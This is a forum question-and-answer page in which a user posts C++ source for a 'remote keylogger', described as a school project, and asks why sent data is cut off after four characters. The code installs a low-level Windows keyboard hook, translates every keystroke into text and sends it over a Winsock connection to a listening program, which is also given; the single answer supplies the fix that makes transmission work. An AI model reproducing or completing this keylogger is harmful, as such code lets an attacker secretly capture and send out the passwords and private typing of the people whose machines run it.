Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 103955
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 11, 20262026-05-11T01:12:20+00:00 2026-05-11T01:12:20+00:00

I am writing an application that needs to send data over a network. I

  • 0

I am writing an application that needs to send data over a network. I have the application completed but there is a problem with sending the data. Every time I send a piece of data, it is cut off after 4 characters and the rest is garbage. The application is a remote keylogger I am writing for a school project, which requires you to demonstrate the usage of hooks and winsock. We are allowed to ask for help on forums. Any help would be appreciated!

Here’ the code:

Server:

 // rkl.cpp : Defines the entry point for the application. //  #include 'stdafx.h' #include 'rkl.h' #include <windows.h> #include <stdio.h>  SOCKET kSock; LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);  int APIENTRY _tWinMain(HINSTANCE hInstance,                      HINSTANCE hPrevInstance,                      LPTSTR    lpCmdLine,                      int       nCmdShow) {    WSAData wsdata;  WORD wsver=MAKEWORD(2, 0);  int nret=WSAStartup(wsver, &wsdata);   if(nret != 0) {     MessageBoxA(0,'Error 0','Error',MB_OK); WSACleanup();  return -1; }   kSock=socket(AF_INET, SOCK_STREAM, 0);   if(kSock == INVALID_SOCKET) { MessageBoxA(0,'Error 1','Error',MB_OK); return -1; }   sockaddr_in sin; sin.sin_port=htons(808); sin.sin_addr.s_addr=inet_addr('127.0.0.1'); sin.sin_family=AF_INET;  if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) {  MessageBoxA(0,'Error 2','Error',MB_OK); WSACleanup();  return -1; }   HHOOK keyboardHook = SetWindowsHookEx(         WH_KEYBOARD_LL,         keyboardHookProc,         hInstance,         0);  char buf1[256]; char* buf = buf1; buf = 'Test'; send(kSock,buf,sizeof(buf),0);  MessageBoxA(0,'Press ok to stop logging.','Waiting...',MB_OK);  closesocket(kSock); return 0;    }     LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {     PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);       if (wParam == WM_KEYDOWN) {         char* buf; char tl[256]; buf = tl; buf = itoa(p->vkCode,buf,10); int tmp;  tmp = atoi(buf);  if(tmp != 0) {         switch (tmp) {   case VK_BACK:      buf =  '<BACKSPACE>';       break; case VK_TAB:      buf =  '<TAB>';       break; case VK_CLEAR:      buf =  '<CLEAR>';       break; case VK_RETURN:      buf =  '<ENTER>';       break; case VK_SHIFT:      buf =  '<SHIFT>';       break; case VK_CONTROL:      buf =  '<CTRL>';       break; case VK_MENU:      buf =  '<ALT>';       break; case VK_PAUSE:      buf =  '<PAUSE>';       break; case VK_CAPITAL:      buf =  '<CAPS LOCK>';       break; case VK_ESCAPE:      buf =  '<ESC>';       break; case VK_SPACE:      buf =  '<SPACEBAR>';       break; case VK_PRIOR:      buf =  '<PAGE UP>';       break; case VK_NEXT:      buf =  '<PAGE DOWN>';       break; case VK_END:      buf =  '<END>';       break; case VK_HOME:      buf =  '<HOME>';       break; case VK_LEFT:      buf =  '<LEFT ARROW>';       break; case VK_UP:      buf =  '<UP ARROW>';       break; case VK_RIGHT:      buf =  '<RIGHT ARROW>';       break; case VK_DOWN:      buf =  '<DOWN ARROW>';       break; case VK_SELECT:      buf =  '<SELECT>';       break; case VK_PRINT:      buf =  '<PRINT>';       break; case VK_EXECUTE:      buf =  '<EXECUTE>';       break; case VK_SNAPSHOT:      buf =  '<PRINT SCREEN>';       break; case VK_INSERT:      buf =  '<INSERT>';       break; case VK_DELETE:      buf =  '<DEL>';       break; case VK_HELP:      buf =  '<HELP>';       break; case VK_LWIN:      buf =  '<Left Windows key>';       break; case VK_RWIN :      buf =  '<Right Windows key>';       break; case VK_APPS:      buf =  '<Applications key>';       break; case VK_SLEEP:      buf =  '<Computer Sleep key>';       break; case VK_NUMPAD0:      buf =  '0';       break; case VK_NUMPAD1:      buf =  '1';       break; case VK_NUMPAD2:      buf =  '2';       break; case VK_NUMPAD3:      buf =  '3';       break; case VK_NUMPAD4:      buf =  '4';       break; case VK_NUMPAD5:      buf =  '5';       break; case VK_NUMPAD6:      buf =  '6';       break; case VK_NUMPAD7:      buf =  '7';       break; case VK_NUMPAD8:      buf =  '8';       break; case VK_NUMPAD9:      buf =  '9';       break; case VK_MULTIPLY:      buf =  '*';       break; case VK_ADD:      buf =  '+';       break; case VK_SEPARATOR:      buf =  '<Separator key>';       break; case VK_SUBTRACT:      buf =  '-';       break; case VK_DECIMAL:      buf =  '.';       break; case VK_DIVIDE:      buf =  '/';       break; case VK_F1:      buf =  '<F1>';       break; case VK_F2:      buf =  '<F2>';       break; case VK_F3:      buf =  '<F3>';       break; case VK_F4:      buf =  '<F4>';       break; case VK_F5:      buf =  '<F5>';       break; case VK_F6:      buf =  '<F6>';       break; case VK_F7:      buf =  '<F7>';       break; case VK_F8:      buf =  '<F8>';       break; case VK_F9:      buf =  '<F9>';       break; case VK_F10:      buf =  '<F10>';       break; case VK_F11:      buf =  '<F11>';       break; case VK_F12:      buf =  '<F12>';       break; case VK_NUMLOCK:      buf =  '<NUM LOCK>';       break; case VK_SCROLL:      buf =  '<SCROLL LOCK>';       break; case VK_LSHIFT:      buf =  '<Left SHIFT>';       break; case VK_RSHIFT:      buf =  '<Right SHIFT>';       break; case VK_LCONTROL:      buf =  '<Left CONTROL>';       break; case VK_RCONTROL:      buf =  '<Right CONTROL>';       break; case VK_LMENU:      buf =  '<Left MENU>';       break; case VK_RMENU:      buf =  '<Right MENU>';       break; case VK_BROWSER_BACK:      buf =  '<Browser Back key>';       break; case VK_BROWSER_FORWARD:      buf =  '<Browser Forward key>';       break; case VK_BROWSER_REFRESH:      buf =  '<Browser Refresh key>';       break; case VK_BROWSER_STOP:      buf =  '<Browser Stop key>';       break; case VK_BROWSER_SEARCH:      buf =  '<Browser Search key >';       break; case VK_BROWSER_FAVORITES:      buf =  '<Browser Favorites key>';       break; case VK_BROWSER_HOME:      buf =  '<Browser Start and Home key>';       break; case VK_VOLUME_MUTE:      buf =  '<Volume Mute key>';       break; case VK_VOLUME_DOWN:      buf =  '<Volume Down key>';       break; case VK_VOLUME_UP:      buf =  '<Volume Up key>';       break; case VK_MEDIA_NEXT_TRACK:      buf =  '<Next Track key>';       break; case VK_MEDIA_PREV_TRACK:      buf =  '<Previous Track key>';       break; case VK_MEDIA_STOP:      buf =  '<Stop Media key>';       break; case VK_MEDIA_PLAY_PAUSE:      buf =  '<Play/Pause Media key>';       break; case VK_LAUNCH_MAIL:      buf =  '<Start Mail key>';       break; case VK_LAUNCH_MEDIA_SELECT:      buf =  '<Select Media key>';       break; case VK_LAUNCH_APP1:      buf =  '<Start Application 1 key>';       break; case VK_LAUNCH_APP2:      buf =  '<Start Application 2 key>';       break; case VK_OEM_1:      buf =  '<;:' key >';       break; case VK_OEM_PLUS:      buf =  '+';       break; case VK_OEM_COMMA:      buf =  ',';       break; case VK_OEM_MINUS:      buf =  '-';       break; case VK_OEM_PERIOD:      buf =  '.';       break; case VK_OEM_2:      buf =  '</?' key >';       break; case VK_OEM_3:      buf =  '<`~' key >';       break; case VK_OEM_4:      buf =  '<[{' key>';       break; case VK_OEM_5:      buf =  '<\|' key>';       break; case VK_OEM_6:      buf =  '<]}' key>';       break; case VK_OEM_7:      buf =  '<single-quote/double-quote' key>';       break; case VK_OEM_CLEAR:      buf =  '<Clear>';       break;                 default:             buf[0] = char(tmp);             buf[1] = char(0);             buf[2] = char(0);             buf[3] = char(0);             buf[4] = char(0);             buf[5] = char(0);             buf[6] = char(0);             buf[7] = char(0);             buf[8] = char(0);           }   send(kSock,buf,sizeof(buf),0); }      return CallNextHookEx(NULL, nCode, wParam, lParam);     } } 

Client:

// lkv.cpp : Defines the entry point for the console application. // #include 'stdafx.h' #include <windows.h>  #include <iostream>  int main() {  WSAData wsdata; WORD wsver=MAKEWORD(2, 0);  int nret=WSAStartup(wsver, &wsdata);  if(nret != 0){  std::cout<<'Startup failed, error code: '<<WSAGetLastError();  WSACleanup();  return -1; } std::cout<<'Init success\n'; SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0); if(kSock == INVALID_SOCKET){ std::cout<<'Socket init failed'; return -1; } std::cout<<'Socket initialized\n'; sockaddr_in sin; sin.sin_port=htons(808); sin.sin_addr.s_addr=INADDR_ANY; sin.sin_family=AF_INET; if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){ std::cout<<'Failed to bind\n'; WSACleanup();  return -1; } std::cout<<'Bind successful!\n'; while (listen(kSock, SOMAXCONN) == SOCKET_ERROR);  SOCKET client; int len = sizeof(sin); client=accept(kSock, (sockaddr*)&sin, &len); std::cout<<'Connection established!\n'; int i;    for(;;) { char buf[22]; recv(client, buf, sizeof(buf), 0);  std::cout << buf; }   closesocket(client);  closesocket(kSock); WSACleanup(); return 0; } 
  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. 2026-05-11T01:12:20+00:00Added an answer on May 11, 2026 at 1:12 am

    In your server side, your send line is:

    send(kSock,buf,sizeof(buf),0); 

    And buf is a char*. The size of a char* in your case in 4 bytes, so you’re telling send to send 4 bytes of data, when you really want to send the size of the buffer which is strlen(buf)+1 (The plus one is to include the terminating zero of the string).

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Ask A Question

Stats

  • Questions 67k
  • Answers 67k
  • Best Answers 0
  • User 1
  • Popular
  • Answers
  • Editorial Team

    How to approach applying for a job at a company ...

    • 7 Answers
  • Editorial Team

    How to handle personal stress caused by utterly incompetent and ...

    • 5 Answers
  • Editorial Team

    What is a programmer’s life like?

    • 5 Answers
  • added an answer As a side note, read this for the history of… May 11, 2026 at 12:02 pm
  • added an answer Transactions is a good way to go, like le dorfier… May 11, 2026 at 12:02 pm
  • added an answer Change your php.ini file, the line that says error_reporting, to… May 11, 2026 at 12:02 pm

Related Questions

I am writing an application that needs to send data over a network. I
I am writing an application that needs to bring window of an external app
I am writing an application in C# that needs to run as a service
I am writing an application that is linked to Active Directory, and I need
I am writing an application that downloads large files in the background. All clients
I am writing an application that if the user hits back, it may resend
I am current writing an application that will require multiple inserts, updates and deletes
I am writing an unit test for a mvc web application that checks if
I recently began profiling an osgi java application that I am writing using VisualVM.
I am writing a dhtml application that creates an interactive simulation of a system.

Trending Tags

analytics british company computer developers django employee employer english facebook french google interview javascript language life php programmer programs salary

Top Members

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.